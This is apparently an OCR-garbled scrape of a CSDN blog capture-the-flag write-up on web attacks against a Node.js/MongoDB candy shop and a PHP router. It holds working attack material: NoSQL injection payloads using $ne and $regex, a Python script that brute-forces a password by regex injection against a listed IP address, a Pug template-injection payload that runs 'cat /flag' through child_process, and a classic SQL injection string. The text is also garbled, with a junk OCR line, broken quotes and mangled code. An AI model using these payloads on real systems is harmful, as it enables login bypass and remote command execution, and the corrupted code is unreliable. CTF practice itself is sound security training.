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let users = client.db('test').collection('users")
users.deleteMany(err => {
if (err) {
console.log(err)
} else {
users.insertOne({
username: 'rabbit’,
password: process.env.PASSWORD,
active: true
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const mongodb = require('mongodb')

const mongoUrl = 'mongodb://db:27017"'

I H Ak THIERS R I T 7E B B /login AL F7 7E — AR 73 B & imongodbiE A (nosqliEAND -


https://blog.csdn.net/keaixiaohan
https://blog.csdn.net/keaixiaohan/category_11378301.html
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/keaixiaohan/article/details/120464100
https://blog.csdn.net/keaixiaohan/category_11378301.html

router.post('/login', async (req, res) => {
let {username, password} = req.body
let rec = await db.Users.find({username: username, password: password})
if (rec) {
if (rec.username === username && rec.password === password) {
res.cookie('token', rec, {signed: true})
res.redirect('/shop")
} else {
res.render('login', {error: 'You Bad Bad > _<'})

}
} else {
res.render('login', {error: 'Login Failed!'})
}
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select id from users where username = '' or 1=1-- and password = '123'
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http://127.0.0.1/index.php?username=test&password=test
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db.test.find({username:’test’,password:’test’});
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db.test.find({username:{‘xx’:’test’},password:’test’});
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db.test.find({username:{'$ne’': 'test’'},password:{"'$ne': 'test'}});
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select * from test where username!='test' and password!='test';
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import requests as req
chars="'0123456789%abcdef"'
ans=
j=0
for pos in range(1,64):
forchinchars:
data= {'username':'rabbit', 'password[$regex]':'~'+ans+ch+'.*$"'}
res=req.post('http://123.60.21.23:23333/user/login',data )
#tres = req.post('http://127.0.0.1:3000/user/login',data )
if'Bad'inres.text:
ans+=ch
break
print(pos,ans)
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router.get('/order', checkLogin, checkActive, async (req, res) => {
let {id} = req.query
let candy = await db.Candies.find({id: id})
res.render('order', {user_name: req.signedCookies.token.username, candy: candy})
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router.post('/order', checkLogin, checkActive, async (req, res) => {
let {user_name, candy_name, address} = req.body

res.render('confirm', {
user_name: user_name,

candy_name: candy_name,
address: pug.render(address)
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username=1&candyname=1&address="+flag=global.process.mainModule.constructor._load('child _process")
.execSync("cat+/flag").toString()+a="
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public function route(Request $request) {
$url_decoded = urldecode( $request->url );
while ($route = $this->current()) {
if ($route !== false && $route->matchMethod($request->method) && $route->matchUrl($url_decoded,
$this->case_sensitive)) {
return $route;

}
$this->next();

return false;
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public function matchUrl($url, $case_sensitive = false) {
// Wildcard or exact match
if ($this->pattern === '*' || $this->pattern === $url) {
return true;

$ids = array();
$last_char = substr($this->pattern, -1);

// Get splat
if ($last_char === "*') {
$n = 0;
$len = strlen($url);
$count = substr_count($this->pattern, '/');

for ($i = 0; $i < $len; $i++) {
if ($url[$i] == '/') $n++;
if ($n == $count) break;

$this->splat = (string)substr($url, $i+l1);

// Build the regex for matching
$regex = str_replace(array(')','/*'), array(')?','(/?|/.*?)"'), $this->pattern);

$regex = preg_replace_callback(
HO([\W]+) ([N %)),
function($matches) use (&$ids) {
$ids[$matches[1]] = null;
if (isset($matches[3])) {
return '(?P<'.$matches[1].'>"'.$matches[3]."')";

}

return '(?P<'.$matches[1].'>[~/\?]+)";
s
$regex
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// Fix trailing slash
if ($last_char === "/") {
$regex .= '?';
}
// Allow trailing slash
else {
$regex .= '/?';

// Attempt to match route and named parameters
if (preg_match('#~'.$regex.'(?:\?.*)?$#"'.(($case_sensitive) ? '' : 'i'), $url, $matches)) {
foreach ($ids as $k => $v) {
$this->params[$k] = (array_key_exists($k, $matches)) ? urldecode($matches[$k]) : null;

$this->regex = $regex;

return true;

return false;
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